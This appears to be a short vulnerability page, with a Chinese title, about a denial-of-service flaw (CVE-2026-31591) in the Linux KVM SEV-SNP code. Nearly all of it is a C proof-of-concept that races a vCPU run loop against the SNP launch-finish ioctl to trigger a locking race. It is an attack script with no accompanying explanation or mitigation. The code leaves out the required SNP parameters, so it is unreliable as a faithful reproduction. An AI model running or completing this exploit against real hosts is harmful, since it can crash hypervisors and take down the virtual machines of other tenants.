CVE-2026-31591 Linux内核KVM SEV拒绝服务漏洞

/* * Conceptual PoC for CVE-2026-31591 * This code attempts to trigger a race condition in KVM SEV-SNP VMSA synchronization. * It requires a host with AMD SEV-SNP support and access to /dev/kvm. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/kvm.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #define KVM_DEV "/dev/kvm" // Thread 1: Continuously run vCPU to disturb state void* vcpu_run_thread(void* arg) { int vcpu_fd = *(int*)arg; while (1) { ioctl(vcpu_fd, KVM_RUN, NULL); } return NULL; } // Thread 2: Trigger SNP Launch Finish (VMSA sync) void* snp_launch_finish_thread(void* arg) { int vm_fd = *(int*)arg; struct kvm_sev_cmd cmd = { .id = KVM_SEV_SNP_LAUNCH_FINISH, // ... additional params required for SNP ... }; // This ioctl path attempts to sync VMSAs without locking all vCPUs properly in vulnerable versions ioctl(vm_fd, KVM_MEMORY_ENCRYPT_OP, &cmd); return NULL; } int main() { int kvm_fd = open(KVM_DEV, O_RDWR); if (kvm_fd < 0) { perror("Failed to open /dev/kvm"); return 1; } int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, (unsigned long)0); if (vm_fd < 0) return 1; int vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, (unsigned long)0); if (vcpu_fd < 0) return 1; pthread_t t1, t2; // Create threads to race against each other pthread_create(&t1, NULL, vcpu_run_thread, &vcpu_fd); pthread_create(&t2, NULL, snp_launch_finish_thread, &vm_fd); pthread_join(t1, NULL); pthread_join(t2, NULL); close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }